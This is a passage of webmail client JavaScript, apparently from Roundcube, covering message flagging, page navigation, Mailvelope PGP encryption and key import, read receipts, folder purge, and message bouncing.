      data._uid = this.env.uid ? [this.env.uid] : this.message_list.get_selection();

    data._mbox = this.env.mailbox;
    data._uid = this.uids_to_list(data._uid);

    if (this.env.action)
      data._from = this.env.action;

    // also send search request to get the right messages
    if (this.env.search_request)
      data._search = this.env.search_request;

    if (this.env.display_next && this.env.next_uid)
      data._next_uid = this.env.next_uid;

    return data;
  };

  this.check_display_next = function()
  {
    return this.env.display_next && (this.preview_id || !this.env.contentframe);
  };

  // set a specific flag to one or more messages
  this.mark_message = function(flag, uid)
  {
    var a_uids = [], r_uids = [], len, n, id,
      list = this.message_list;

    if (uid)
      a_uids.push(uid);
    else if (this.env.uid)
      a_uids.push(this.env.uid);
    else if (list)
      a_uids = list.get_selection();

    if (!list)
      r_uids = a_uids;
    else {
      list.focus();
      for (n=0, len=a_uids.length; n<len; n++) {
        id = a_uids[n];
        if ((flag == 'read' && list.rows[id].unread)
            || (flag == 'unread' && !list.rows[id].unread)
            || (flag == 'delete' && !list.rows[id].deleted)
            || (flag == 'undelete' && list.rows[id].deleted)
            || (flag == 'flagged' && !list.rows[id].flagged)
            || (flag == 'unflagged' && list.rows[id].flagged)
        ) {
          r_uids.push(id);
        }
      }
    }

    // nothing to do
    if (!r_uids.length && !this.select_all_mode)
      return;

    switch (flag) {
        case 'read':
        case 'unread':
          this.toggle_read_status(flag, r_uids);
          break;
        case 'delete':
        case 'undelete':
          this.toggle_delete_status(r_uids);
          break;
        case 'flagged':
        case 'unflagged':
          this.toggle_flagged_status(flag, a_uids);
          break;
    }
  };

  // set class to read/unread
  this.toggle_read_status = function(flag, a_uids)
  {
    var i, len = a_uids.length,
      post_data = this.selection_post_data({_uid: a_uids, _flag: flag}),
      lock = this.display_message('markingmessage', 'loading');

    // mark all message rows as read/unread
    for (i=0; i<len; i++)
      this.set_message(a_uids[i], 'unread', (flag == 'unread' ? true : false));

    this.http_post('mark', post_data, lock);
  };

  // set image to flagged or unflagged
  this.toggle_flagged_status = function(flag, a_uids)
  {
    var i, len = a_uids.length,
      win = this.env.contentframe ? this.get_frame_window(this.env.contentframe) : window,
      post_data = this.selection_post_data({_uid: a_uids, _flag: flag}),
      lock = this.display_message('markingmessage', 'loading');

    // mark all message rows as flagged/unflagged
    for (i=0; i<len; i++)
      this.set_message(a_uids[i], 'flagged', (flag == 'flagged' ? true : false));

    if (this.env.action == 'show' || $.inArray(this.preview_id, a_uids) >= 0)
      $(win.document.body)[flag == 'flagged' ? 'addClass' : 'removeClass']('status-flagged');

    this.http_post('mark', post_data, lock);
  };

  // mark all message rows as deleted/undeleted
  this.toggle_delete_status = function(a_uids)
  {
    var i, uid, all_deleted = true,
      len = a_uids.length,
      rows = this.message_list ? this.message_list.rows : {};

    if (len == 1) {
      if (!this.message_list || (rows[a_uids[0]] && !rows[a_uids[0]].deleted))
        this.flag_as_deleted(a_uids);
      else
        this.flag_as_undeleted(a_uids);

      return true;
    }

    for (i=0; i<len; i++) {
      uid = a_uids[i];
      if (rows[uid] && !rows[uid].deleted) {
        all_deleted = false;
        break;
      }
    }

    if (all_deleted)
      this.flag_as_undeleted(a_uids);
    else
      this.flag_as_deleted(a_uids);

    return true;
  };

  this.flag_as_undeleted = function(a_uids)
  {
    var i, len = a_uids.length,
      post_data = this.selection_post_data({_uid: a_uids, _flag: 'undelete'}),
      lock = this.display_message('markingmessage', 'loading');

    for (i=0; i<len; i++)
      this.set_message(a_uids[i], 'deleted', false);

    this.http_post('mark', post_data, lock);
  };

  this.flag_as_deleted = function(a_uids)
  {
    var r_uids = [],
      post_data = this.selection_post_data({_uid: a_uids, _flag: 'delete'}),
      lock = this.display_message('markingmessage', 'loading'),
      list = this.message_list,
      rows = list ? list.rows : {},
      count = 0,
      display_next = this.check_display_next();

    for (var i=0, len=a_uids.length; i<len; i++) {
      uid = a_uids[i];
      if (rows[uid]) {
        if (rows[uid].unread)
          r_uids[r_uids.length] = uid;

        if (this.env.skip_deleted) {
          count += this.update_thread(uid);
          list.remove_row(uid, display_next && i == list.get_selection(false).length-1);
        }
        else
          this.set_message(uid, 'deleted', true);
      }
    }

    // make sure there are no selected rows
    if (this.env.skip_deleted && list) {
      if (!display_next || !list.rowcount)
        list.clear_selection();
      if (count < 0)
        post_data._count = (count*-1);
      else if (count > 0)
        // remove threads from the end of the list
        this.delete_excessive_thread_rows();
    }

    // set of messages to mark as seen
    if (r_uids.length)
      post_data._ruid = this.uids_to_list(r_uids);

    if (this.env.skip_deleted && this.env.display_next && this.env.next_uid)
      post_data._next_uid = this.env.next_uid;

    this.http_post('mark', post_data, lock);
  };

  // flag as read without mark request (called from backend)
  // argument should be a coma-separated list of uids
  this.flag_deleted_as_read = function(uids)
  {
    var uid, i, len,
      rows = this.message_list ? this.message_list.rows : {};

    if (typeof uids == 'string')
      uids = uids.split(',');

    for (i=0, len=uids.length; i<len; i++) {
      uid = uids[i];
      if (rows[uid])
        this.set_message(uid, 'unread', false);
    }
  };

  // Converts array of message UIDs to comma-separated list for use in URL
  // with select_all mode checking
  this.uids_to_list = function(uids)
  {
    if (this.select_all_mode)
      return '*';

    // multi-folder list of uids cannot be passed as a string (#6845)
    if ($.isArray(uids) && (uids.length == 1 || String(uids[0]).indexOf('-') == -1))
      uids = uids.join(',');

    return uids;
  };

  // Sets title of the delete button
  this.set_button_titles = function()
  {
    var label = 'deletemessage';

    if (!this.env.flag_for_deletion
      && this.env.trash_mailbox && this.env.mailbox != this.env.trash_mailbox
      && (!this.env.delete_junk || !this.env.junk_mailbox || this.env.mailbox != this.env.junk_mailbox)
    )
      label = 'movemessagetotrash';

    this.set_alttext('delete', label);
  };

  // Initialize input element for list page jump
  this.init_pagejumper = function(element)
  {
    $(element).addClass('rcpagejumper')
      .on('focus', function(e) {
        // create and display popup with page selection
        var i, html = '';

        for (i = 1; i <= ref.env.pagecount; i++)
          html += '<li>' + i + '</li>';

        html = '<ul class="toolbarmenu menu">' + html + '</ul>';

        if (!ref.pagejump) {
          ref.pagejump = $('<div id="pagejump-selector" class="popupmenu"></div>')
            .appendTo(document.body)
            .on('click', 'li', function() {
              if (!ref.busy)
                $(element).val($(this).text()).change();
            });
        }

        if (ref.pagejump.data('count') != i)
          ref.pagejump.html(html);

        ref.pagejump.attr('rel', '#' + this.id).data('count', i);

        // display page selector
        ref.show_menu('pagejump-selector', true, e);
      })
      // keyboard navigation
      .on('keydown keyup click', function(e) {
        var current, selector = $('#pagejump-selector'),
          ul = $('ul', selector),
          list = $('li', ul),
          height = ul.height(),
          p = parseInt(this.value);

        if (e.which != 27 && e.which != 9 && e.which != 13 && !selector.is(':visible'))
          return ref.show_menu('pagejump-selector', true, e);

        if (e.type == 'keydown') {
          // arrow-down
          if (e.which == 40) {
            if (list.length > p)
              this.value = (p += 1);
          }
          // arrow-up
          else if (e.which == 38) {
            if (p > 1 && list.length > p - 1)
              this.value = (p -= 1);
          }
          // enter
          else if (e.which == 13) {
            return $(this).change();
          }
          // esc, tab
          else if (e.which == 27 || e.which == 9) {
            ref.hide_menu('pagejump-selector', e);
            return $(element).val(ref.env.current_page);
          }
        }

        $('li.selected', ul).removeClass('selected');

        if ((current = $(list[p - 1])).length) {
          current.addClass('selected');
          $('#pagejump-selector').scrollTop(((ul.height() / list.length) * (p - 1)) - selector.height() / 2);
        }
      })
      .on('change', function(e) {
        // go to specified page
        var p = parseInt(this.value);
        if (p && p != ref.env.current_page && !ref.busy) {
          ref.hide_menu('pagejump-selector', e);
          ref.list_page(p);
        }
      });
  };

  // Update page-jumper state on list updates
  this.update_pagejumper = function()
  {
    $('input.rcpagejumper').val(this.env.current_page).prop('disabled', this.env.pagecount < 2);
  };

  // check for mailvelope API
  this.check_mailvelope = function(action)
  {
    if (window.mailvelope) {
      this.mailvelope_load(action);
    }
    else {
      $(window).on('mailvelope', function() {
        ref.mailvelope_load(action);
      });
    }
  };

  // Load Mailvelope functionality (and initialize keyring if needed)
  this.mailvelope_load = function(action)
  {
    var keyring = this.env.mailvelope_main_keyring ? undefined : this.env.user_id,
      fn = function(kr) {
        ref.mailvelope_keyring = kr;
        ref.mailvelope_init(action, kr);
      };

    mailvelope.getVersion().then(function(v) {
      mailvelope.VERSION = v;
      mailvelope.VERSION_MAJOR = Math.floor(parseFloat(v));
      return mailvelope.getKeyring(keyring);
    }).then(fn, function(err) {
      if (keyring) {
        // attempt to create a new keyring for this app/user
        mailvelope.createKeyring(keyring).then(fn, function(err) {
          console.error(err);
        });
      } else {
        console.error(err);
      }
    });
  };

  // Initializes Mailvelope editor or display container
  this.mailvelope_init = function(action, keyring)
  {
    if (!window.mailvelope)
      return;

    if (action == 'show' || action == 'preview' || action == 'print') {
      // decrypt text body
      if (this.env.is_pgp_content) {
        var data = $(this.env.is_pgp_content).text();
        ref.mailvelope_display_container(this.env.is_pgp_content, data, keyring);
      }
      // load pgp/mime message and pass it to the mailvelope display container
      else if (this.env.pgp_mime_part) {
        var msgid = this.display_message('loadingdata', 'loading'),
          selector = this.env.pgp_mime_container;

        $.ajax({
          type: 'GET',
          url: this.url('get', { '_mbox': this.env.mailbox, '_uid': this.env.uid, '_part': this.env.pgp_mime_part }),
          error: function(o, status, err) {
            ref.http_error(o, status, err, msgid);
          },
          success: function(data) {
            ref.mailvelope_display_container(selector, data, keyring, msgid);
          }
        });
      }
    }
    else if (action == 'compose') {
      this.env.compose_commands.push('compose-encrypted');

      var sign_supported = mailvelope.VERSION_MAJOR >= 2;
      var is_html = $('[name="_is_html"]').val() > 0;

      if (sign_supported)
        this.env.compose_commands.push('compose-encrypted-signed');

      if (this.env.pgp_mime_message) {
        // fetch PGP/Mime part and open load into Mailvelope editor
        var lock = this.set_busy(true, this.get_label('loadingdata'));

        $.ajax({
          type: 'GET',
          url: this.url('get', this.env.pgp_mime_message),
          error: function(o, status, err) {
            ref.http_error(o, status, err, lock);
            ref.enable_command('compose-encrypted', !is_html);
            if (sign_supported)
              ref.enable_command('compose-encrypted-signed', !is_html);
          },
          success: function(data) {
            ref.set_busy(false, null, lock);

            if (is_html) {
              ref.command('toggle-editor', {html: false, noconvert: true});
              $('#' + ref.env.composebody).val('');
            }

            ref.compose_encrypted({ quotedMail: data });
            ref.enable_command('compose-encrypted', true);
            ref.enable_command('compose-encrypted-signed', false);
          }
        });
      }
      else {
        // enable encrypted compose toggle
        this.enable_command('compose-encrypted', !is_html);
        if (sign_supported)
          this.enable_command('compose-encrypted-signed', !is_html);
      }

      // make sure to disable encryption button after toggling editor into HTML mode
      this.addEventListener('actionafter', function(args) {
        if (args.ret && args.action == 'toggle-editor') {
          ref.enable_command('compose-encrypted', !args.props.html);
        if (sign_supported)
          ref.enable_command('compose-encrypted-signed', !args.props.html);
        }
      });
    } else if (action == 'edit-identity') {
      ref.mailvelope_identity_keygen();
    }
  };

  // handler for the 'compose-encrypted-signed' command
  this.compose_encrypted_signed = function(props)
  {
    props = props || {};
    props.signMsg = true;
    this.compose_encrypted(props);
  };

  // handler for the 'compose-encrypted' command
  this.compose_encrypted = function(props)
  {
    var options, container = $('#' + this.env.composebody).parent();

    // remove Mailvelope editor if active
    if (ref.mailvelope_editor) {
      ref.mailvelope_editor = null;
      ref.set_button('compose-encrypted', 'act');

      container.removeClass('mailvelope').find('iframe:not([aria-hidden=true])').remove();
      $('#' + ref.env.composebody).show();
      $("[name='_pgpmime']").remove();

      // re-enable commands that operate on the compose body
      ref.enable_command('toggle-editor', 'insert-response', true);
      ref.enable_command('spellcheck', !!window.googie);
      ref.enable_command('insert-sig', !!(ref.env.signatures && ref.env.identity && ref.env.signatures[ref.env.identity]));

      ref.triggerEvent('compose-encrypted', { active:false });
    }
    // embed Mailvelope editor container
    else {
      if (this.spellcheck_state())
        this.editor.spellcheck_stop();

      if (props.quotedMail) {
        options = { quotedMail: props.quotedMail, quotedMailIndent: false };
      }
      else {
        options = { predefinedText: $('#' + this.env.composebody).val() };
      }

      if (props.signMsg) {
        options.signMsg = props.signMsg;
      }

      if (this.env.compose_mode == 'reply') {
        options.quotedMailIndent = true;
        options.quotedMailHeader = this.env.compose_reply_header;
      }

      mailvelope.createEditorContainer('#' + container.attr('id'), ref.mailvelope_keyring, options).then(function(editor) {
        ref.mailvelope_editor = editor;
        ref.set_button('compose-encrypted', 'sel');

        container.addClass('mailvelope');
        $('#' + ref.env.composebody).hide();

        // disable commands that operate on the compose body
        ref.enable_command('spellcheck', 'insert-sig', 'toggle-editor', 'insert-response', false);
        ref.triggerEvent('compose-encrypted', { active:true });

        if (!$.isEmptyObject(ref.env.attachments)) {
          // notify user if losing attachments
          if (ref.env.compose_mode != 'draft'
            || Object.keys(ref.env.attachments).length != 1
            || ref.env.attachments[Object.keys(ref.env.attachments)[0]].name != 'encrypted.asc'
          ) {
            ref.alert_dialog(ref.get_label('encryptnoattachments'));
          }

          $.each(ref.env.attachments, function(name, attach) {
            ref.remove_from_attachment_list(name);
          });
        }
      }, function(err) {
        console.error(err);
        console.log(options);
      });
    }
  };

  // callback to replace the message body with the full armored
  this.mailvelope_submit_messageform = function(draft, saveonly)
  {
    // get recipients
    var recipients = [];
    $.each(['to', 'cc', 'bcc'], function(i,field) {
      var pos, rcpt, val = $('[name="_' + field + '"]').val().trim();
      while (val.length && rcube_check_email(val, true)) {
        rcpt = RegExp.$2.replace(/^<+/, '').replace(/>+$/, '');
        recipients.push(rcpt);
        val = val.substr(val.indexOf(rcpt) + rcpt.length + 1).replace(/^\s*,\s*/, '');
      }
    });

    // check if we have keys for all recipients
    var isvalid = recipients.length > 0;
    ref.mailvelope_keyring.validKeyForAddress(recipients).then(function(status) {
      var missing_keys = [];
      $.each(status, function(k,v) {
        if (v === false) {
          isvalid = false;
          missing_keys.push(k);
        }
      });

      // list recipients with missing keys
      if (!isvalid && missing_keys.length) {
        // display dialog with missing keys
        ref.simple_dialog(
          ref.get_label('nopubkeyfor').replace('$email', missing_keys.join(', ')) +
            '<p>' + ref.get_label('searchpubkeyservers') + '</p>',
          'encryptedsendialog',
          function() {
            ref.mailvelope_search_pubkeys(missing_keys, function() {
              return true; // close dialog
            });
          },
          {button: 'search'}
        );
        return false;
      }

      if (!isvalid) {
        if (!recipients.length) {
          ref.alert_dialog(ref.get_label('norecipientwarning'), function() {
            $("[name='_to']").focus();
          });
        }
        return false;
      }

      // add sender identity to recipients to be able to decrypt our very own message
      var senders = [], selected_sender = ref.env.identities[$("[name='_from'] option:selected").val()];
      $.each(ref.env.identities, function(k, sender) {
        senders.push(sender.email);
      });

      ref.mailvelope_keyring.validKeyForAddress(senders).then(function(status) {
        valid_sender = null;
        $.each(status, function(k,v) {
          if (v !== false) {
            valid_sender = k;
            if (valid_sender == selected_sender) {
              return false;  // break
            }
          }
        });

        if (!valid_sender) {
          if (!confirm(ref.get_label('nopubkeyforsender'))) {
            return false;
          }
        }

        recipients.push(valid_sender);

        ref.mailvelope_editor.encrypt(recipients).then(function(armored) {
          // all checks passed, send message
          var form = ref.gui_objects.messageform,
            hidden = $("[name='_pgpmime']", form),
            msgid = ref.set_busy(true, draft || saveonly ? 'savingmessage' : 'sendingmessage');

          form.target = ref.get_save_target(msgid);
          form._draft.value = draft ? '1' : '';
          form.action = ref.add_url(form.action, '_unlock', msgid);
          form.action = ref.add_url(form.action, '_framed', 1);

          if (saveonly) {
            form.action = ref.add_url(form.action, '_saveonly', 1);
          }

          // send pgp content via hidden field
          if (!hidden.length) {
            hidden = $('<input type="hidden" name="_pgpmime">').appendTo(form);
          }
          hidden.val(armored);

          form.submit();

        }, function(err) {
          console.log(err);
        });  // mailvelope_editor.encrypt()

      }, function(err) {
        console.error(err);
      });  // mailvelope_keyring.validKeyForAddress(senders)

    }, function(err) {
      console.error(err);
    });  // mailvelope_keyring.validKeyForAddress(recipients)

    return false;
  };

  // wrapper for the mailvelope.createDisplayContainer API call
  this.mailvelope_display_container = function(selector, data, keyring, msgid)
  {
    var error_handler = function(error) {
      // remove mailvelope frame with the error message
      $(selector + ' > iframe').remove();
      ref.hide_message(msgid);
      ref.display_message(error.message, 'error');
    };

    mailvelope.createDisplayContainer(selector, data, keyring, { senderAddress: this.env.sender }).then(function(status) {
      if (status.error && status.error.message) {
        return error_handler(status.error);
      }

      ref.hide_message(msgid);
      $(selector).children().not('iframe').hide();
      $(ref.gui_objects.messagebody).addClass('mailvelope');

      // on success we can remove encrypted part from the attachments list
      if (ref.env.pgp_mime_part)
        $('#attach' + ref.env.pgp_mime_part).remove();

      setTimeout(function() { $(window).resize(); }, 10);
    }, error_handler);
  };

  // subroutine to query keyservers for public keys
  this.mailvelope_search_pubkeys = function(emails, resolve, import_handler)
  {
    // query with publickey.js
    var deferred = [],
      pk = new PublicKey(this.env.keyservers),
      lock = ref.display_message('', 'loading');

    $.each(emails, function(i, email) {
      var d = $.Deferred();
      pk.search(email, function(results, errorCode) {
        if (errorCode !== null) {
          // rejecting would make all fail
          // d.reject(email);
          d.resolve([email]);
        }
        else {
          d.resolve([email].concat(results));
        }
      });
      deferred.push(d);
    });

    $.when.apply($, deferred).then(function() {
      var missing_keys = [],
        key_selection = [];

      // analyze results of all queries
      $.each(arguments, function(i, result) {
        var email = result.shift();
        if (!result.length) {
          missing_keys.push(email);
        }
        else {
          key_selection = key_selection.concat(result);
        }
      });

      ref.hide_message(lock);
      resolve(true);

      // show key import dialog
      if (key_selection.length) {
        ref.mailvelope_key_import_dialog(key_selection, import_handler);
      }
      // some keys could not be found
      if (missing_keys.length) {
        ref.display_message(ref.get_label('nopubkeyfor').replace('$email', missing_keys.join(', ')), 'warning');
      }
    }).fail(function() {
      console.error('Pubkey lookup failed with', arguments);
      ref.hide_message(lock);
      ref.display_message('pubkeysearcherror', 'error');
      resolve(false);
    });
  };

  // list the given public keys in a dialog with options to import
  // them into the local Mailvelope keyring
  this.mailvelope_key_import_dialog = function(candidates, import_handler)
  {
    var ul = $('<div>').addClass('listing pgpkeyimport');

    $.each(candidates, function(i, keyrec) {
      var li = $('<div>').addClass('key');

      if (keyrec.revoked)  li.addClass('revoked');
      if (keyrec.disabled) li.addClass('disabled');
      if (keyrec.expired)  li.addClass('expired');

      li.append($('<label>').addClass('keyid').text(ref.get_label('keyid')));
      li.append($('<a>').text(keyrec.keyid.substr(-8).toUpperCase())
        .attr({href: keyrec.info, target: '_blank', tabindex: '-1'}));

      li.append($('<label>').addClass('keylen').text(ref.get_label('keylength')));
      li.append($('<span>').text(keyrec.keylen));

      if (keyrec.expirationdate) {
        li.append($('<label>').addClass('keyexpired').text(ref.get_label('keyexpired')));
        li.append($('<span>').text(new Date(keyrec.expirationdate * 1000).toDateString()));
      }

      if (keyrec.revoked) {
        li.append($('<span>').addClass('keyrevoked').text(ref.get_label('keyrevoked')));
      }

      var ul_ = $('<ul>').addClass('uids');
      $.each(keyrec.uids, function(j, uid) {
        var li_ = $('<li>').addClass('uid');
        if (uid.revoked)  li_.addClass('revoked');
        if (uid.disabled) li_.addClass('disabled');
        if (uid.expired)  li_.addClass('expired');

        ul_.append(li_.text(uid.uid));
      });

      li.append(ul_);
      li.append($('<button>')
        .attr('rel', keyrec.keyid)
        .text(ref.get_label('import'))
        .addClass('button import importkey')
        .prop('disabled', keyrec.revoked || keyrec.disabled || keyrec.expired));

      ul.append(li);
    });

    // display dialog with missing keys
    ref.simple_dialog(
      $('<div>')
        .append($('<p>').html(ref.get_label('encryptpubkeysfound')))
        .append(ul),
      'importpubkeys',
      null,
      {cancel_label: 'close', cancel_button: 'close'}
    );

    // delegate handler for import button clicks
    ul.on('click', 'button.importkey', function() {
      var btn = $(this),
        keyid = btn.attr('rel'),
        pk = new PublicKey(ref.env.keyservers),
        lock = ref.display_message('', 'loading');

        // fetch from keyserver and import to Mailvelope keyring
        pk.get(keyid, function(armored, errorCode) {
          ref.hide_message(lock);

          if (errorCode) {
            ref.display_message('keyservererror', 'error');
            return;
          }

          if (import_handler) {
            import_handler(armored);
            return;
          }

          // import to keyring
          ref.mailvelope_keyring.importPublicKey(armored).then(function(status) {
            if (status === 'REJECTED') {
              // ref.alert_dialog(ref.get_label('Key import was rejected'));
            }
            else {
              var $key = keyid.substr(-8).toUpperCase();
              btn.closest('.key').fadeOut();
              ref.display_message(ref.get_label('keyimportsuccess').replace('$key', $key), 'confirmation');
            }
          }, function(err) {
            console.log(err);
          });
        });
    });
  };

  // enable key management for identity
  this.mailvelope_identity_keygen = function()
  {
    var container = $(this.gui_objects.editform).find('.identity-encryption').first();
    var identity_email = $(this.gui_objects.editform).find('.ff_email').val().trim();

    if (!container.length || !identity_email || !this.mailvelope_keyring.createKeyGenContainer)
      return;

    var key_fingerprint;
    this.mailvelope_keyring.validKeyForAddress([identity_email])
      .then(function(keys) {
        var private_keys = [];

        if (keys && keys[identity_email] && Array.isArray(keys[identity_email].keys)) {
          var checks = [];
          for (var j=0; j < keys[identity_email].keys.length; j++) {
            checks.push((function(key) {
              return ref.mailvelope_keyring.hasPrivateKey(key.fingerprint)
                .then(function(found) {
                  if (found) {
                    private_keys.push(key);
                  }
                });
            })(keys[identity_email].keys[j]));
          }
          return Promise.all(checks)
            .then(function() {
              return private_keys;
            });
        }

        return private_keys;
      }).then(function(private_keys) {
        var content = container.find('.identity-encryption-block').empty();
        if (private_keys && private_keys.length) {
          // show private key information
          $('<p>').text(ref.get_label('encryptionprivkeysinmailvelope').replace('$nr', private_keys.length)).appendTo(content);
          var ul = $('<ul>').addClass('keylist').appendTo(content);
          $.each(private_keys, function(i, key) {
            $('<li>').appendTo(ul)
              .append($('<strong>').addClass('fingerprint').text(String(key.fingerprint).toUpperCase()))
              .append($('<span>').addClass('identity').text('<' + identity_email + '> '));
          });
        } else {
          $('<p>').text(ref.get_label('encryptionnoprivkeysinmailvelope')).appendTo(content);
        }

        // show button to create a new key
        $('<button>')
          .attr('type', 'button')
          .addClass('button create')
          .text(ref.get_label('encryptioncreatekey'))
          .appendTo(content)
          .on('click', function() { ref.mailvelope_show_keygen_container(content, identity_email); });
        $('<span>').addClass('space').html('&nbsp;').appendTo(content);
        $('<button>')
          .attr('type', 'button')
          .addClass('button settings')
          .text(ref.get_label('openmailvelopesettings'))
          .appendTo(content)
          .on('click', function() { ref.mailvelope_keyring.openSettings(); });

        container.show();
        ref.triggerEvent('identity-encryption-show', { container: container });
      })
      .catch(function(err) {
        console.error('Mailvelope keyring error', err);
      })
  };

  // start pgp key generation using Mailvelope
  this.mailvelope_show_keygen_container = function(container, identity_email)
  {
    var cid = new Date().getTime();
    var user_id = {email: identity_email, fullName: $(ref.gui_objects.editform).find('.ff_name').val().trim()};
    var options = {userIds: [user_id], keySize: this.env.mailvelope_keysize};

    $('<div>').attr('id', 'mailvelope-keygen-container-' + cid)
      .css({height: '245px', marginBottom: '10px'})
      .appendTo(container.empty());

    this.mailvelope_keyring.createKeyGenContainer('#mailvelope-keygen-container-' + cid, options)
      .then(function(generator) {
        if (generator instanceof Error) {
          throw generator;
        }

        // append button to start key generation
        $('<button>')
          .attr('type', 'button')
          .addClass('button mainaction generate')
          .text(ref.get_label('generate'))
          .appendTo(container)
          .on('click', function() {
            var btn = $(this).prop('disabled', true);
            generator.generate()
              .then(function(result) {
                if (typeof result === 'string' && result.indexOf('BEGIN PGP') > 0) {
                  ref.display_message(ref.get_label('keypaircreatesuccess').replace('$identity', identity_email), 'confirmation');
                  // reset keygen view
                  ref.mailvelope_identity_keygen();
                }
              })
              .catch(function(err) {
                debugger;
                ref.display_message(err.message || 'errortitle', 'error');
                btn.prop('disabled', false);
            });
          });

        $('<span>').addClass('space').html('&nbsp;').appendTo(container);

        $('<button>')
          .attr('type', 'button')
          .addClass('button cancel')
          .text(ref.get_label('cancel'))
          .appendTo(container)
          .on('click', function() { ref.mailvelope_identity_keygen(); });

        ref.triggerEvent('identity-encryption-update', { container: container });
      })
      .catch(function(err) {
        ref.display_message('errortitle', 'error');
        // start over
        ref.mailvelope_identity_keygen();
      });
  };

  this.mdn_request_dialog = function(uid, mailbox)
  {
    var props = {
        action: 'mark',
        data: { _uid: uid, _mbox: mailbox, _flag: 'mdnsent' }
      },
      buttons = [
        {
          text: this.get_label('send'),
          'class': 'mainaction send',
          click: function(e, ui, dialog) {
            props.action = 'sendmdn';
            (ref.is_framed() ? parent.$ : $)(dialog || this).dialog('close');
          }
        },
        {
          text: this.get_label('ignore'),
          'class': 'cancel',
          click: function(e, ui, dialog) {
            (ref.is_framed() ? parent.$ : $)(dialog || this).dialog('close');
          }
        }
      ],
      mdn_func = function(event, ui) {
        ref.http_post(props.action, props.data);
        // from default close function
        $(this).remove();
      };

    if (this.env.mdn_request_save) {
      buttons.unshift({
        text: this.get_label('sendalwaysto').replace('$email', this.env.mdn_request_sender.mailto),
        'class': 'mainaction send',
        click: function(e, ui, dialog) {
          props.data._save = ref.env.mdn_request_save;
          props.data._address = ref.env.mdn_request_sender.string;
          $(e.target).next().click();
        }
      });
    }

    this.show_popup_dialog(this.get_label('mdnrequest'), this.get_label('sendreceipt'), buttons, { close: mdn_func });
  };


  /*********************************************************/
  /*********       mailbox folders methods         *********/
  /*********************************************************/

  this.expunge_mailbox = function(mbox)
  {
    var lock, post_data = {_mbox: mbox};

    // lock interface if it's the active mailbox
    if (mbox == this.env.mailbox) {
      lock = this.set_busy(true, 'loading');
      post_data._reload = 1;
      if (this.env.search_request)
        post_data._search = this.env.search_request;
    }

    // send request to server
    this.http_post('expunge', post_data, lock);
  };

  this.purge_mailbox = function(mbox)
  {
    this.confirm_dialog(this.get_label('purgefolderconfirm'), 'delete', function() {
        var lock, post_data = {_mbox: mbox};

        // lock interface if it's the active mailbox
        if (mbox == ref.env.mailbox) {
           lock = ref.set_busy(true, 'loading');
           post_data._reload = 1;
        }

        // send request to server
        ref.http_post('purge', post_data, lock);
      });

    return false;
  };

  // Mark all messages as read in:
  //   - selected folder (mode=cur)
  //   - selected folder and its subfolders (mode=sub)
  //   - all folders (mode=all)
  this.mark_all_read = function(mbox, mode)
  {
    var state, content, nodes = [],
      list = this.message_list,
      folder = mbox || this.env.mailbox,
      post_data = {_uid: '*', _flag: 'read', _mbox: folder, _folders: mode};

    if (typeof mode != 'string') {
      state = this.mark_all_read_state(folder);
      if (!state)
        return;

      if (state > 1) {
        // build content of the dialog
        $.each({cur: 1, sub: 2, all: 4}, function(i, v) {
          var id = 'readallmode' + i,
            label = $('<label>').attr('for', id).text(ref.get_label('folders-' + i)),
            input = $('<input>').attr({type: 'radio', value: i, name: 'mode', id: id, disabled: !(state & v)});

          nodes.push($('<li>').append([input, label]));
        });

        content = $('<ul class="proplist">').append(nodes);
        $('input:not([disabled])', content).first().attr('checked', true);

        this.simple_dialog(content, 'markallread',
          function() {
            ref.mark_all_read(folder, $('input:checked', content).val());
            return true;
          },
          {button: 'mark', button_class: 'save'}
        );

        return;
      }

      post_data._folders = 'cur'; // only current folder has unread messages
    }

    // mark messages on the list
    $.each(list ? list.rows : [], function(uid, row) {
      if (!row.unread)
        return;

      var mbox = ref.env.messages[uid].mbox;
      if (mode == 'all' || mbox == ref.env.mailbox
          || (mode == 'sub' && mbox.startsWith(ref.env.mailbox + ref.env.delimiter))
      ) {
        ref.set_message(uid, 'unread', false);
      }
    });

    // send the request
    this.http_post('mark', post_data, this.display_message('markingmessage', 'loading'));
  };

  // Enable/disable mark-all-read action depending on folders state
  this.mark_all_read_state = function(mbox)
  {
    var state = 0,
      li = this.treelist.get_item(mbox || this.env.mailbox),
      folder_item = $(li).is('.unread') ? 1 : 0,
      subfolder_items = $('li.unread', li).length,
      all_items = $('li.unread', ref.gui_objects.folderlist).length;

    state += folder_item;
    state += subfolder_items ? 2 : 0;
    state += all_items > folder_item + subfolder_items ? 4 : 0;

    this.enable_command('mark-all-read', state > 0);

    return state;
  };

  // Display "bounce message" dialog
  this.bounce = function(props, obj, event)
  {
    // get message uid and folder
    var uid = this.get_single_uid(),
      url = this.url('bounce', {_framed: 1, _uid: uid, _mbox: this.get_message_mailbox(uid)}),
      dialog = $('<iframe>').attr('src', url),
      get_form = function() {
        var rc = $('iframe', dialog)[0].contentWindow.rcmail;
        return {rc: rc, form: rc.gui_objects.messageform};
      },
      post_func = function() {
        var post = {}, form = get_form();

        $.each($(form.form).serializeArray(), function() { post[this.name] = this.value; });

        post._uid = form.rc.env.uid;
        post._mbox = form.rc.env.mailbox;
        delete post._action;
        delete post._task;

        if (post._to || post._cc || post._bcc) {
          ref.http_post('bounce', post, ref.set_busy(true, 'sendingmessage'));
          dialog.dialog('close');
        }
      },
      submit_func = function() {
        var form = get_form();

        if (typeof form.form != 'object')
          return false;

        if (!form.rc.check_compose_address_fields(post_func, form.form))
          return false;

        return post_func();
      };

    this.hide_menu('forwardmenu', event);

    dialog = this.simple_dialog(dialog, 'bouncemsg', submit_func, {
      button: 'bounce',
      width: 400,
      height: 300
    });

    return true;
  };


  /*********************************************************/
  /*********        message compose methods        *********/
  /*********************************************************/

  this.open_compose_step = function(p)
  {
    var url = this.url('mail/compose', p);

    // open new compose window
    if (this.env.compose_extwin && !this.env.extwin) {
      this.open_window(url);
    }
    else {
      this.redirect(url);
      if (this.env.extwin)
        window.resizeTo(Math.max(this.env.popup_width, $(window).width()), $(window).height() + 24);
    }
  };

  // init message compose form: set focus and eventhandlers
  this.init_messageform = function()
  {
    if (!this.gui_objects.messageform)
      return false;

    var elem, pos,
      input_from = $("[name='_from']"),
      input_to = $("[name='_to']"),
      input_subject = $("[name='_subject']"),
      input_message = $("[name='_message']").get(0),
      html_mode = $("[name='_is_html']").val() == '1',
      opener_rc = this.opener();

    // close compose step in opener
    if (opener_rc && opener_rc.env.action == 'compose') {
      setTimeout(function() {
        if (opener.history.length > 1)
          opener.history.back();
        else
          opener_rc.redirect(opener_rc.get_task_url('mail'));
      }, 100);
      this.env.opened_extwin = true;
    }

    if (!html_mode) {
